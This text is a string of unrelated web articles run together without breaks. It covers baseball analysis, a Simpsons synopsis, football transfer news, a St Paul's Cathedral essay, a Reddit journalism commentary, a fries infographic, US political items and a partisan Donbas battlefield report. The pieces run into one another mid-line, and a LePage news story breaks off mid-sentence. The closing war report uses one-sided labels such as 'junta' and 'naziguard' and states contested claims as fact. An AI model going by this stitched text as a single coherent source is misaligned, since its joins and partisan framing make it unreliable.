Rizzo is a former 6th round pick out that, like Hoskins, hit at every level in the minors. Like Hoskins, he wasn’t ever projected to be a superstar as a prospect (ranking lower than someone named Brett Jackson on one list I found — I don’t even know who that is). Unlike Hoskins, Rizzo had more time to develop, having been selected out of high school. Still, the similarities outnumber the differences.
Rizzo’s career big league slash is.268/.367/.487. His walk rate is solid, at 11.2 percent, and his strikeout rate isn’t outrageous, at 16.9 percent. He plays first base, but doesn’t grade overwhelmingly well with the advanced defensive metrics. He’s hit 30 or more homers in each of the last three seasons, and with 28, will probably do so again this year.
The counting stats make sense when comparing the two hitters, but check out how close they already are in plate discipline:
Rhys Hoskins vs. Anthony Rizzo, plate discipline
Name O-Swing% Z-Swing% Swing% O-Contact% Z-Contact% Contact% Swinging Strike% Name O-Swing% Z-Swing% Swing% O-Contact% Z-Contact% Contact% Swinging Strike% Anthony Rizzo 29.8% 67.0% 46.0% 72.3% 90.7% 84.0% 7.3% Rhys Hoskins 25.3% 60.3% 39.9% 73.2% 94.3% 86.5% 5.4%
Data via FanGraphs
According to research done by Russell Carleton in 2007, plate discipline rates begin to “stabilize” in fewer than 40 plate appearances. That means that Hoskins has had enough big league trips to the plate to already begin evaluating his tendencies as a hitter, which strengthens the connection between him and Rizzo. Both players make potentially league-leading amounts of contact but are selective enough that they only swing around the league-average number of pitches. This combination of a high-contact swing and a great eye is hard to find in the Majors, especially with strikeouts on the rise. Both Hoskins and Rizzo have displayed that rare skill, though, giving me more reason to believe that a best-case Rhys Hoskins could look something like Anthony Rizzo.
So far this year, though, in his laughably small 64 plate appearance sample, Hoskins has looked like another outstanding NL Central first baseman: Joey Votto. The hit tool hasn’t been as good, but his.406 on-base percentage thus far is almost, but not quite, Vottoian. It’s certainly better than Rizzo’s career mark, even as he too continues to improve in that area.
Joey Votto and Rhys Hoskins are more similar than you might think.
Isaiah J. Downing-USA TODAY Sports
Could Rhys Hoskins end up like Joey Votto?
This is where things get interesting. It’s impossible to call someone the next Votto, especially as the Reds 1B continues to build a strong case for the Hall of Fame. But, because we are having some fun here, what would Hoskins have to do to make himself look like Joey Votto?
For simplicity, let’s say that Hoskins would need to sport a.300/.400/.500 line to hit this mark. (Sidenote: as good as that sounds, it’s actually 68 points worse in the OPS department than Votto’s career line. That’s insane.)
But even as ready as we all knew he was from the get-go, Hoskins still only hit.284/.385/.581 in Triple-A this year, close but not close enough to Votto’s marks. He would have to drastically improve in the Major Leagues — which has happened for some players, mind you, but is obviously very rare — in order to become the next Votto. With Hoskins’s off-the-charts contact rate and excellent eye, it may not be impossible.
This is how Hoskins’s plate discipline stacks up against Votto’s:
Rhys Hoskins vs. Joey Votto, plate discipline
Name O-Swing% Z-Swing% Swing% O-Contact% Z-Contact% Contact% Swinging Strike% Name O-Swing% Z-Swing% Swing% O-Contact% Z-Contact% Contact% Swinging Strike% Joey Votto 15.6% 71.3% 41.4% 77.5% 88.5% 86.2% 5.6% Rhys Hoskins 25.3% 60.3% 39.9% 73.2% 94.3% 86.5% 5.4%
Data via FanGraphs
There’s an argument to be made that Hoskins’s discipline more aligns with Votto’s than Rizzo’s. The contact rate is nearly identical, as is the swinging strike rate. The biggest difference, though, lies in the percentage of pitches outside the zone that each hitter swung at. Votto’s 15.6 percent is, once again, insane. Hoskins’s 25.3 percent mark is still good, especially for a rookie, but it is not Vottoian. I’d like to point out, though, that back when Votto first broke into the league, from 2007 to 2010, his o-swing% ranged from 24.4 percent to 31.5 percent, much closer to Hoskins’s rate. With time, Hoskins should only get better at determining which pitches to swing at.
I just spent 1,244 words discussing two scenarios for best-case Rhys Hoskins. I will repeat: he’s come to the plate just 64 times as a big leaguer. The pitchers haven’t even made their initial adjustment against him! But, knowing the type of hitter he is, beyond just the numbers, could clue us into the type of numbers he will post in the future.
Rhys Hoskins could be a hybrid of Anthony Rizzo and Joey Votto. On the flip side, he could also stink. We won’t know who he truly is for another three to five years. (By that time, this article may not have aged very well.) We do know, however, that Hoskins’s first couple weeks in the Major Leagues have excited many around the league for what’s to come.
Hoskins’s ceiling, though, may very well be higher than the second deck that ball landed in on Wednesday.
Devan Fink is a Featured Writer at Beyond The Box Score. You can follow him on Twitter @DevanFink.Alien structures have been sighted on a remote planet. Several spacecraft have been sent to investigate the structures, but all communication with the crew has been lost.
Your mission is to search for the lost crew.
Inside the Void is an exploration game where you must navigate through seven alien structures in an effort to unravel the disappearance of lost crew members. You will encounter messages left by the lost crew members that offer a glimpse into their fate.
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Kill Screen
Controls: Mouse and WASD / E to interact / Shift to Sprint
Update 1.04 - New extended ending.
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Inside the Void is free, but any donations are greatly appreciated.Episode References Gags Appearances Gallery Quotes Credits
Bart-Mangled Banner is the twenty first episode of Season 15.
Synopsis
An accidental photo showing Bart "mooning" the American flag makes the Simpsons the most hated family in town.
Full Story
Homer and Marge take the children to get their shots. Just before Dr. Hibbert is about to inject Bart, he escapes. After a chase through town, Hibbert finally outsmarts Bart by having Barney (and briefly Moe) impersonate him and the real Hibbert injects Bart. However, the shot causes Bart's earholes to swell shut, making him temporarily deaf.
While at the Springfield Elementary School donkey basketball game, Bart teases a donkey with a carrot, unaware that the school is reciting the National Anthem. After he places the carrot in his shorts, the donkey takes it and rips off Bart's shorts (just like his famous line "Eat my shorts"), thus exposing his bare butt. While Bart is bent over to keep his privates covered with his shirt, the U.S. flag is put up behind him and a photo is taken, which results in the crowd assuming that Bart is mooning the U.S. flag. Marge and Homer try to explain to Skinner that Bart was deaf at that time; however, because Bart's history of pranks Skinner doesn't believe it. Shortly afterwards, The Springfield Shopper takes the story and completely turns it around, making it seem as if Bart had deliberately mooned the flag. Soon, he and his family are hated by everyone in Springfield.
Bart and his family do not hate America but when the family tries to clear up this misunderstanding, it is to no avail. Later, the Simpsons are asked to appear on a talk show and tell their side of the story. However, instead of listening to their side of the story as promised the host instead asks, "What part of America do you hate most?" (an example of the fallacy of many questions), also turning the question on Homer and Marge, the later of whom answers "Well America is not perfect". When the host asks if this is why the Simpsons hate Americans, Marge snaps, saying that if he is referring to loud-mouthed talk show hosts, which she notes "everyone seems to be in this country" (referring to the fact that questions such as that one are the only forms of discussion in America), then she does hate Americans.
This sentiment leaves everybody shocked, with even Bart, Maggie (who is too young to understand) and Homer (who is eating a sandwich) left taken aback by what Marge said. When the host expresses surprise that Marge has not been run out of town she replies that she is well-liked in Springfield, prompting him to declare that Springfield hates America. As a result, the U.S. turns its back on Springfield, even going so far to declare December 25th "We hate Springfield Day". Mayor Quimby frantically decides to change the name of Springfield to "Libertyville." Everything in town is quickly patriotized; the traffic light colors are changed to red, white, and blue, and everything costs $17.76. While at church, Lisa speaks her opinion about patriotism, and the Simpsons are taken into custody, in violation of the "Government Knows Best Act".
The family are taken to the "Ronald Reagan Reeducation Center", which houses Michael Moore, the Dixie Chicks, Elmo (who accidentally went to the wrong fundraiser), and Bill Clinton. With some help from the last-registered Democrat, the Simpsons escape the prison, but realize that the re-education center is actually Alcatraz Prison. While they are swimming to land, they are picked up by a French freighter and are brought to France. They are well adjusted, but still miss America, mainly because it's where all their stuff is. Then they move back to the U.S. dressed as 19th century immigrants from Europe, where Homer speaks of plans of integration into America.Chelsea have made Marco Verratti a top target and are prepared to test Ligue 1 giants Paris Saint-Germain for the midfielder in January.
Roman Abramovich is willing to bankroll Antonio Conte's push for the Premier League title and Verratti, who played under the Italian in the international team, is wanted.
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Marina Granovskaia is Abramovich's right-hand woman and the director tasked with tackling the transfer window as Chelsea try to deliver the signings that Conte needs to continue his title challenge.
Italy international Verratti is a top transfer target for Chelsea ahead of the January window
Paris Saint-Germain are willing to sell the 24-year-old midfielder in the new year
Marco Verratti has been the subject of offers from Serie A clubs including Inter Milan
Insiders have said that Chelsea are confident they can get Verratti, despite the 24-year-old's deal in France running until 2021.
Chelsea failed to sign Roma's Radja Nainggolan in the summer but Conte is still keen to add to his midfield, and it comes as Oscar prepares to leave Chelsea for Shanghai SIPG for £52million.
It is understood Chelsea are hopeful that they can get Verratti for less than £40m, though PSG will put up a fight.
MARCO VERRATTI: CV Date of birth: November 5, 1992 Age: 24 Clubs: Pescara, Paris Saint-Germain Appearances: 253 Goals: 7 Honours: Ligue 1 (2013, 2014, 2015, 2016), Coupe de France (2015, 2016), Coupe de la Ligue (2014, 2015, 2016), Trophee des Champions (2013, 2014, 2015, 2016), Serie B (2012) International caps (Italy): 19 Goals 1
Verratti's agent, Donato Di Campli, told potential suitors in October that the player would be willing to leave PSG if they do not secure silverware this season.
They sit third in Ligue 1 – behind Monaco and Nice – and play Barcelona in the last 16 of the Champions League next.
Unai Emery, PSG's manager, is a cup specialist after winning the Europa League with Sevilla three times but beating Barca is a big ask.
PSG have also exited the Champions League four successive times at the quarter-final stage.
They will put up a fight to keep Verratti, with him considered a key player since Zlatan Ibrahimovic and David Luiz left for Manchester United and Chelsea respectively.
Speaking previously, Di Campli said: 'Contracts are made and unmade in three minutes. We'll see PSG's aims.
'Marco is happy to be there but he wants to win something important. He can not stay in a team that does not win.'
Chelsea have won 10 consecutive games in the Premier League and are top by six points.
Asked about Verratti at his press conference on Friday and whether he will find it difficult to get PSG to agree to let him leave in January, Conte said he did not want to discuss the potential deal out of respect to the French club.
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'I don't like to talk about different players [to the media], because this is a great lack of respect,' he said.
Verratti tangles with Wylam Cyprien of Nice during a recent Ligue 1 encounterRelics At St Paul’s From Before The Fire
Three hundred and fifty years ago today, on 2nd September 1666, the Great Fire of London started
Fragments of Old St Paul’s stored in the triforium at New St Paul’s
Sir Christopher Wren’s success at St Paul’s Cathedral is to have envisaged architecture of such absolute assurance that it is impossible to imagine it could ever have been any different than it is today. Yet Wren was once surveyor of Old St Paul’s, confronted daily with a tottering gothic pile and carrying the onerous responsibility for this vast medieval shambles upon his shoulders, until the Great Fire took it away three hundred and fifty years ago.
The spire of Old St Paul’s collapsed in 1561 and, in Wren’s, time wooden scaffolding was necessary to hold up the poorly-built Cathedral. Parts of the cloister were carried off to build Somerset House and even a fancy new portico designed in the classical style by Inigo Jones failed to ameliorate the general picture of decay and dereliction.
When the Great Fire of London began in September 1666, the Stationers Company stored their books and paper in the crypt of the Cathedral for safe-keeping and residents piled their precious furniture in the churchyard – one of the few open spaces in the City – so that it might be safe even if they lost their homes in the conflagration. These prudent measures only exacerbated the catastrophe when a spark set fire to the wooden roof of the Cathedral which collapsed into the crypt, sending a river of molten lead running down Ludgate Hill, igniting a violent inferno of paper that brought down the entire building and consumed all the furniture in the churchyard as well.
After the pyre of Old St Paul’s was at last extinguished in September, weeks after the Fire had been quenched elsewhere in the City, it became a popular pastime to scavenge through the ruins for souvenirs. You might assume nothing survived but, if you know where to look and what to look for, there are relics scattered throughout New St Paul’s.
Commemorating the three hundred and fiftieth anniversary of the destruction of Old St Paul’s, I thought I would make a photographic inventory of what is left. There are Roman tiles, an Anglo-Saxon hog’s back tomb, a Viking grave marker and multiple stone fragments of the Cathedral itself, catalogued in the nineteenth century – although I was most fascinated by seventeenth-century effigies that withstood the Fire.
Medieval monuments and statuary were destroyed in the Reformation, and Oliver Cromwell famously stabled his horses in the Cathedral at the time of the English Revolution, but there was a brief period when new monuments and figures were installed prior to the Great Fire of London and a handful of these remain today.
John Donne would have conjured an astute sonnet upon the metaphysical irony of his monument being the only one surviving intact. In his last days, he insisted upon modelling for his own effigy, wrapped in a shroud, and the resultant sculpture is distinguished by remarkably naturalistic drapery. Yet, in spite of this, I can only see it as an image of a flame in which the great poet glimmers eternally.
A small collection of seventeenth-century human effigies rest down in the crypt, burnt black by the Fire. Carved from pale marble or alabaster, they have been transfigured by the furnace-like temperature of the conflagration and emerged charcoal-black, glistening and broken, as if they had been excavated like coal – as if they were creatures of another time, as remote as prehistoric creatures. But, even as they were ravaged by apocalyptic lfire and damaged beyond recognition, some have retained fine detail of armour and clothing, and all have acquired presence. These compelling fragmentary forms are worthy of Henry Moore, charmed stones that manifest an eternal spirit forged in fire.
Unsurprisingly, Christopher Wren had little interest in the relics of Old St Paul’s because he was looking to the future. Wary of medieval foundations, he had his New St Paul’s re-aligned to avoid them. Yet, although Wren had most of the ancient stone broken up to use as infill for New St Paul’s, there are a couple of spots in the crypt where you can see fragments of detailed Romanesque carving sticking out from the wall, hidden in plain sight, to remind us that – even though Old St Paul’s has gone – it is still with us.
Roman tiles and Anglo-Saxon grave cover in the triforium
Hogback grave cover, dating from 1000-1050 AD, possibly from the grave of King Athelstan
Viking grave marker, dating from 1125-50AD, dug up in 1852 in the churchyard
Twelfth century Romanesque carving of foliage in the wall of the crypt
Twelfth century Romanesque carving of foliage in the wall of the crypt
Ledger stone of Brian Walton, Bishop of Chester, died 1661
Sir John & Eliza Wolley
Sir John Wolley, Latin Secretary to Elizabeth I, died 1596
Eliza Wolley, Lady of the Privy Chamber to Elizabeth I, died 1600
Sir Thomas Heneage Vice-Chamberlain to Elizabeth I, died 1594, & Anna Heneage, died 1592
Unknown effigy
Unknown effigy
William Cokain, Mayor of London 1619, died 1626
William Cokain, Mayor of London 1619, died 1626
John Donne, Poet & Dean of St Paul’s (1572-1631), monument by Nicholas Stone
Caen & Reigate stones from Old St Paul’s (1180-1666 AD) excavated by Francis Penrose, Cathedral Surveyor in the nineteenth century
This lion is a fragment of Inigo Jones portal to St Paul’s which inspired Christopher Wren
Click to enlarge this comparative plan of 1872 which superimposes the outlines of Old and New St Paul’s (Reproduced courtesy of St Paul’s)
A programme of walks, talks and tours, special sermons & debates to mark the 350th anniversary of the Great Fire of London is runs at St Paul’s until April 2017. Click here to learn more about the Fire at St Paul’s
You may also like to read my other stories of St Paul’s Cathedral
Maurice Sills, Cathedral Treasure
The Broderers of St Paul’sIt's Not About Whether Amateur Internet Journalism Is Good Or Bad, But That It Happens And Will Continue To Happen
from the look-forward,-not-back dept
There's been a lot of hand-wringing among the types of people who hand-wring about these things, that there was a flurry of activity on Reddit and Twitter late last night / early this morning believing that one of the suspects in the Boston Bombings was Sunil Tripathi, a Brown student who went missing last month (and, for what it's worth, when people thought it was him, folks from 4Chan started complaining that they had done the real sleuthing, and were pissed off that Reddit got the credit -- but, now that it turned out to be wrong, 4Chan seems happy to let Reddit take the heat). Alexis Madrigal has the basics of the story, which has allowed the usual crew of folks who hate the concept of "citizen journalism" or whatever it's called today to whine about how awful "Reddit" journalism is. Defender of legacy newspapers, Ryan Chittum, seemed particularly gleeful in calling out that Reddit "fails again," and saying that the mainstream media did it right.Except, that's ridiculous. Mathew Ingram points out that people attacking Reddit for this are missing the point, which is true by a wide, wide margin. First of all, as he notes, mainstream news folks also got parts of the story wrong. As we noted yesterday, the mainstream TV folks got a hell of a lot wrong. Hell, the NY Post even put the wrong two guys on the cover and falsely claimed that the feds were seeking them.But the bigger problem is this idea that it's "Reddit" or, as some people have argued) "the internet" the legacy media. That's not true at all. Everyone made mistakes during the rapidly changing story, but only on Reddit did you actually see the details of. The legacy news organizations present things as if coming from a place of authority, while Reddit is like an open newsroom where anyone can jump in. The conversation about Tripathi, for example, was about whether or not Suspect #2 was him -- it wasn't based on a declaration that it absolutely was him. Furthermore, when you look at the reasonthe story actually spread, it was after some more known "press" names retweeted the initial tweet from Greg Hughes, which claimed (incorrectly) that Tripathi's name went out on the police scanner (ironically, he posted that about a minute after posting "This is the Internet's test of 'be right, not first' with the reporting of this story").But here's the real issue: people can fret about all of this, but it doesn't change one thing:. People are naturally curious and they're going to talk to people when there's a news story going on and they'll try to figure things out. That happens all the timealready before stuff goes on the air or is officially published. It's just that the public doesn't see the process. On Reddit, or anywhere else that the public can converse, it does happen in public. The problem is to assume the two things are the same. Furthermore, it's even more insane to blame "Reddit" or "the internet" as if those are singular entities that anyone has control over. They're not. As Karl Bode noted, they're just massive crowds of people An even better point was made by Charles Luzar, who noted that "the crowd doesn't implicitly profess its empirical correctness like the media does," but rather admits quite openly that it's a process in action. Further, he notes that even if the crowd presents false information before finding factual information, that's still "effective crowdsourcing" and, if anything, provides a greater role to the media to be effective curators of the actual facts.In the end, it seems likely that this incident will actuallya lot the next time there's a big breaking news story, because (hopefully) it will give people more reason to be at least somewhat skeptical of stories coming out, but it's not going to change the fact that groups on various platforms are going to talk about things, and often try to do a little sleuthing themselves. Sometimes they'll get it right, and sometimes they won't -- just the same as many others. It seems like a much better focus looking forward is in providing more training and tools to help the world be better at it.
Filed Under: amateurs, blame, boston bombing, cnn, corrections, crowdsourcing, errors, journalsim
Companies: reddit, twitterElectric car company Tesla has released ALL its patents to the public
SCIENCEALERT STAFF 13 JUN 2014
Image: Olga Besnard/Shutterstock
US electric car company Tesla has just released all its patent technology in an attempt to promote and speed up the development of greener transport.
In a blog yesterday, the CEO of Tesla, Elon Musk, announced the move.
Musk wrote: “If we clear a path to the creation of compelling electric vehicles, but then lay intellectual property landmines behind us to inhibit others, we are acting in a manner contrary to that goal.”
He explained that Tesla, famous for creating the world’s first electric sportscar, would not issue any patent lawsuits against anyone who used their technology in good faith, and accused patents of stifling progress.
“Yesterday, there was a wall of Tesla patents in the lobby of our Palo Alto headquarters. That is no longer the case. They have been removed, in the spirit of the open source movement, for the advancement of electric vehicle technology.”
As Australian academic Damon Adams tweeted this morning: “This, is how you start a revolution.”
But although it’s a huge move, it’s not without its benefits to Tesla, who is building a factory to make its unique cylindrical batteries.
“Even if other competitors copy Tesla’s design, Tesla still gets to sell them batteries, and that’s pretty awesome. Tesla’s decision isn’t entirely altruistic,” patent law expert Jacob Sherkow told the Los Angeles Times.Boston Police Commissioner William Evans announced tonight that he has canceled plans to buy software that would let the department monitor social media for potential public-safety threats and ferret out Internet-based crimes because the offerings the department was considering are overkill and raised privacy issues.
Moving forward, we will continue the process of inspecting what is available and ensuring that it meets the needs of the department while protecting the privacy of the public.
Evans said he will work with City Councilor Andrea Campbell (Dorchester), who chairs the council's public-safety committee, on hearings to better gauge public concerns and help draft a proposal for social-media monitoring that would protect both the public and the privacy rights of citizens.
At the same time, he instructed the Boston Regional Intelligence Center - the department's intelligence unit - to "consider re-drafting the request for proposals to ensure that the Department acquires the appropriate level of technology, while also protecting the privacy of the public."Facebook 0
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Would you like fries with that? Of course you would. Whether they’re fries, frites, chips or wedges – these crispy, salty potato sticks are loved all over the world. From their freshly cooked mouth-watering scent, their golden crust to their fluffy innards – the humble fried potato has a soft spot in many people’s hungry hearts.
If you’re having a starchy carb craving, then there’s good news: sharing is caring, and most people tend to care. According to a recent survey[1], a whopping 84% of Canadians say they’re happy to share their fries, so go ahead and sneak a few off a friend. However, such generosity isn’t always sheer altruism. 72% of people admit they’ve encouraged friends to order a larger serving of fries simply to mooch off their mates.
Whether you’re buying your own, sneaking a few off a dining companion’s plate or scoffing them down after a big night out with not much forethought: just remember there’s probably someone else in the world doing the same. Being the universal treat they are, each culture will have its own take on the basic recipe.
There’s more to life than just salt. Try the Indian variation: a sprinkling of chilli powder for a flavoursome kick and some turmeric of a deliciously yellow glow. Bored of just ketchup and mayo? Then dunk, smother or drench your fries in curry sauce, UK style. And when you want fries to be a respectable meal in themselves, try pairing them with mussels for a classy Belgian main, or with spiced tomato sauce for a Spanish bar snack.
And for all the French fries fiends out there, remember to pencil in your diary ‘National French Fry Day’, celebrated every July 13[2]. Of course, it’s still a while away, so you have plenty of time to start planning and booking your global fried potato adventure. Need any more inspiration? Just have a look at the fun infographic we’ve produced below and bring on the fries cravings.
Embed This Graphic On Your Site:
<a href=”https://www.expedia.ca/travelblog/fries-from-around-the-world/″></p><br /><br /><br /><br />
<p><img src=”https://www.expedia.ca/travelblog/wp-content/uploads/2016/01/Fries-from-around-the-world-V2.jpg” title=”Infographic: How People Eat Fries Around the World | Expedia.ca″ alt=”Infographic on Fries From Around The World”/><br /><br /><br /></a><br /><a href=”https://www.expedia.ca/travelblog/fries-from-around-the-world/″>Fries From Around The World | Expedia.ca</a>
[1] http://www.newyorkfries.com/news/canadians-true-colours-revealed-when-it-comes-to-sharing-french-fries
[2] http://www.nationaldaycalendar.com/national-french-fry-day-july-13/
Infographic by NeoMam
Explainer Video by Explainer Labs
Motion Graphics & Animation by Square ShipDonald Trump with two of the many Americans who have not donated to his campaign. Brendan Smialowski/AFP/Getty Images
The Daily Beast has a story about various members of the Trump inner circle who don’t appear to have donated any of their personal money to the Trump campaign. The list:
Ivanka Trump
Donald Trump Jr.
Eric Trump (an in-kind donation was listed for Eric Trump but the Beast notes he appears to have been reimbursed for it)
Chris Christie
Newt Gingrich
Rudy Giuliani
Campaign chairman Steve Bannon
I did my own FEC searches and think we can add former campaign managers Corey Lewandowski and Paul Manafort to that list. (No Trump donations are listed for current campaign manager Kellyanne Conway, but she told the Beast that she’d given money on Oct. 1 to the joint Trump-RNC Trump Victory Fund. That donation would have just been reported to the FEC on Thursday, which probably explains why it isn’t on FEC.gov yet.) Ivanka husband/campaign adviser Jared Kushner also lacks any listed Trump donations.
The Beast notes that Chelsea Clinton has donated to her mother’s campaign, as have campaign chairman John Podesta and campaign manager Robby Mook. I also found donations from campaign co-chairwoman Huma Abedin and from Chelsea’s husband, Marc Mezvinsky. The Trump way of doing things is certainly a unique one.
Read more Slate coverage of the 2016 campaign.At a meeting last month, Gov. Paul LePage pressured hearing officers at the Department of Labor to decide unemployment-benefit cases in favor of business owners over workers, sources to the Sun Journal have said.
LePage summoned more than a dozen employees at the state agency to a luncheon on March 21 that lasted more than an hour and a half, sources said, to discuss the unemployment hearing process.
Their presence was required, according to an early March email, and attendance was taken at the Blaine House. LePage arrived late from an earlier meeting and then left for his annual vacation in Jamaica.
Also attending the luncheon were political appointees, including the department’s commissioner, Jeanne Paquette, and Jennifer Duddy, chairwoman of the Unemployment Insurance Commission.
At that gathering, LePage scolded about eight administrative hearing officers and their supervisors, complaining that too many cases on appeal from the Bureau of Unemployment were being decided in favor of employees. He said the officers were doing their jobs poorly, sources said.
If true, the meeting would constitute “an unprecedented type of political interference in the hearing process,” an expert on labor law told the Sun Journal.
When he fired a worker during his time as a business manager, LePage told the group, it was always for good reason.
The Sun Journal learned about the luncheon meeting through a number of sources whose names are being withheld because they fear retribution by the administration. Nearly a dozen people who attended the meeting were contacted by the Sun Journal by phone, email or both.
—
Administrative hearing officers, whose salaries are federally funded, explained to the governor at the meeting that they’re required to adhere to federal guidelines in deciding cases, sources said.
Hearing officers, most of whom are lawyers, must send recorded copies of their administrative appeals hearings to the U.S. Department of Labor quarterly for federal review.
LePage was asked by someone at the luncheon meeting about the 30-day federal deadline for holding an appeals |
is moving forward, and that’s what we’re working with the city and TTC on now.” With files from Tess Kalinowski, Robyn Doolittle, Paul MoloneyThe situation on the front after the fighting of February 1st.As before, the main military action is unfolding in the area of the Debalcevo protrusion. The enemy still cannot be fully encircled (closing of the encirclement ring by the next anniversary of the capitulation of German forces at Stalingrad would be quite symbolic), although the fire control that was established over the M-103 road already affords to solve tasks in the spirit of "allow/don't allow" the outgoing traffic from the pocket, which was done yesterday, when the rear support units and the staff workers were allowed to evacuate from Debalcevo, the fire wasn't opened on them. In this there is certainly more propaganda than robust fire control, but obvious progress became clear here over the last week, because earlier the enemy used the road quite freely.On the perimeter of the protrusion:a) The bottleneck near Svetlodarsk is firmly held by the junta. Our forces partially control Krasnyi Pakhar, in the area of which there's fighting, but they cannot capture Mironovka and narrow down the bottleneck. The capture of Troitskoye overall mitigated the junta problems on this location, which was helped by the fact that it has been much easier to deploy mechanized reserves approaching from Artyomovsk here than pushing them through to Debalcevo and Uglegorsk.b) The front has stabilized in the area of Sanzharovka and of the numerically labeled high points, approaching the road from this side is not successful yet, so the threat for Nizhnyaya Lozovaya and Logvinovo from this side is minimal. The front is also stuck in the area of Lozovaya.c) Our attacks on the segment Novogrigorovka – Chernukhino with the goal of making progress weren't very successful: the enemy firmly holds its positions in Debalcevo suburbs and has repelled our attacks on Chernukhino. Our side lacks forces to overcome the enemy defense in which our attacks clearly get suck, which leads to the necessity of protracted gnawing of the defense by systematic work of artillery against the explored enemy positions.d) On the segment Nikishino – Novoorlovka – Maloorlovka our forces continue to gradually put more pressure after the capture of Nikishino, but it is obvious that the main forces were thrown on other locations, so here they mostly try to push the enemy back and bind a portion of its forces. It is very unlikely that some powerful offensive on Olkhovatka will follow from here.e) In the area of Uglegorsk our forces repelled the enemy attacks, which hooked onto the outskirts of the town. They continue to probe the enemy defense to the north of Uglegorsk by trying to get a bit closer to the desired road than simply the distance of artillery fire via the movement to Kalinovka and on the Uglegorsk-Debalcevo road. The activity of the sides here is bound by artillery, plus counter fights regularly emerge with the use of infantry and armor. The enemy, understanding the threat posed by our group under Uglegorsk, tried to bind it with tactical fighting in the town suburbs and north of the Uglegorsk-Debalcevo Road. Both sides continue to deploy reserves towards the critical point: tanks and infantry trucks roll towards Uglegorsk through Yenakiyevo, up to a battalion of infantry and 20-25 armored vehicles were redeployed from the side of Debalcevo to help the junta military. Overall, fierce fighting can be expected to the east of Uglegorsk, the victory in which may open a direct pathway to Debalcevo for the NAF.Overall, we can see a continuation of the scenario from previous days, when our forces slowly advance forward, squeezing the Debalcevo protrusion, not encircling but rather squeezing the enemy out of it. The situation for the junta became much more difficult after it missed the strike on Uglegorsk, due to which our forces suddenly had beneficial possibilities for encircling the Debalcevo group in the area of Logvinovo after being unsuccessful in the offensive on Svetlodarsk.Both sides suffered noticeable losses in this fighting (an exchange of sorts took place). The morale of the main detachments of the NAF and the AFU remains quite high. On the other side, in the naziguard units and the AFU units that consists mostly of conscripts there are signs of decay and panic. But overall both sides demonstrate the eagerness to continue the battle further. Meanwhile, despite the fairly adequate opposition from the AFU, the panic is growing in the Ukrainian rear due to the threat of the encirclement and even the soothing announcements by the command representatives don't calm the public: regular footage of the lost villages, lost materiel, junta soldiers turned into KIAs and POWs have a very depressing effect on the rear. The lies of the command that Uglegorsk and Nikishino still remain with the junta at the same time when the Russian media calmly record their reports from there even further discredit the General Staff of the AFU and the Ministry of the Defense of Ukraine. The negative wave against Muzhenko and Poltorak continues to grow. It is clear that if the junta will suffer a defeat under Debalcevo, then their careers are over, even despite Poroshenko's protection. So for them the success of defending the Debalcevo protrusion is a question of professional survival, which may also push them to organize an offensive on other locations in order to lessen the burden on the Debalcevo group.There is also unconfirmed information that allegedly yesterday the attack jet Su-25 of the LPR air force carried out a strike on the enemy convoy on the M-103 road. If such a thing actually happened, then this is the 2nd sortie of the LPR aviation since the start of the war (the first sortie occurred in July to bomb the junta positions under Alexandrovka). There is absolutely no way to figure out if it was the same jet or a different one. Nevertheless, the junta already managed to announce that it will award premiums not only for the destroyed NAF armored vehicles, but also for the downed planes. So, the junta has some fears in this respect, because clearly the questions establishing the air defense on a lengthy front line were obviously badly developed, and their own aviation is afraid to fly because it reasonably fears the NAF air defense. So if our forces will start even episodic use of even 1 attack jet, then this will be an annoying, even if minor, obstacle for the junta. This is besides the fact that under the cover of this "LPR air force" there may be other action conducted using quite different means.Everything is quite stable on the remaining front.a) Stanitsa Luganskaya – Schastye – Slavyanoserbsk: still no change with rare shelling. There are controversial announcements that allegedly in the area of Schastye there were firefight arguments between the AFU units and "Aidar", plus there was an injection in the junta media that allegedly Akhmetov offered the "Aidar" command 25,000,000 dollars for them to surrender the thermal power plant located in the area of Schastye to the NAF. Overall, the story is murky, but apparently there is some portion of truth to this conflict, because even though "Aidar" was formally subordinated to the AFU, but in reality it is trying to act as an independent structure that aspires (even though it is laughable) to be a political subject.b) Our forces stand in defense in the area of the Bakhmutka Road, holding the points that they captured earlier. Shelling and medium intensity shelling continues in the area of the 29th checkpoint. The enemy continues to accumulate reserves here, which approached from the side of Lisichansk and which were taken off the front under Lugansk in order to reinforce the shaking front in the direction of Krymskoye – Novotoshkovskoye. Whether a strike will follow here to return the 31-st checkpoint (or rather what remained of it) and the 175.9 high point — we'll see in the coming days.c) Our attacks with the goal of capturing the city continued in the area of Popasnaya. The control over it opens beneficial possibilities for action in the direction of Artyomovsk and the M-103 road as a part of deeply wrapping the Debalcevo group. There are no decisive successes here yet. Powerful artillery fire complicates our progress, which also gets stuck in tactical skirmishes in the suburbs of Popasnaya, which is still subjected to artillery strikes. Overall, things are going so-so for us here, the enemy is always able to deploy reinforcements through Artyomovsk, due to which it is hard to expect a rapid breakthrough.d) Unconvincing fighting continued under Mayorsk and in the forward defense zone of Dzerzhinsk. Considering the fact that the NAF is throwing its main forces to develop the offensive in the area of the Debalcevo protrusion, it is hard to expect decisive results here like a complete capture of Mayorsk, or, even less likely, of Dzerzhinsk. The here continues to shell Gorlovka fiercely, using the fact that the principal part of the local artillery is engaged on other locations. Nevertheless, the enemy is not trying to start an offensive on Gorlovka yet, limiting itself to deterring action and artillery strikes.e) The front line remained unchanged in the area of the airport. Each of the sides controls a piece of Peski. Our forces hold the airport and Spartak. The enemy is holding Opytnoye, Avdeyevka, and the air defense unit. Local skirmishes continue in the area of Spartak and Avdeyevka. Yesterday there was also an attempt by the enemy to carry out reconnaissance in force towards Yasinovataya, which was unsuccessful for them. Donetsk itself continues to be subjected to artillery strikes (mostly the frontline districts), although the intensity of shelling Gorlovka is a bit higher over the recent days. In the area of Petrovsky district and Mar'inka the front line changed little. It is also worth noting that foreign ammunition was used in the area of the airport, which was documented in video and photos. Overall, the voentorg is also working on the other side. Furthermore, now there are active frictions in the USA with the goal of making the lethal weapon shipments more active, primarily focusing on the modern anti-tank complexes, the means of electronic warfare and so forth.f) To the south of Donetsk the enemy continues to gather its forces under Yelenovka and Dokuchayevsk, not even hiding the desire to perform a strike here and approach the southern outskirts of Donetsk. The cries of the public that Debalcevo must be saved may accelerate the fulfillment of these plans. There have been no changes in the front line from Dokuchayevsk to Mariupol. The intensity of fighting here reduced down to the level of the north-Lugansk front. Nevertheless, the junta keeps yelling that the NAF concentrate the forces for a strike in the area of Mariupol.Overall, while on other locations there are mostly local skirmishes, fierce fighting continues in the area of Debalcevo and Uglegorsk, the result of which will determine the outcome of the January NAF offensive. The encirclement is within reach, but for it to be completed it 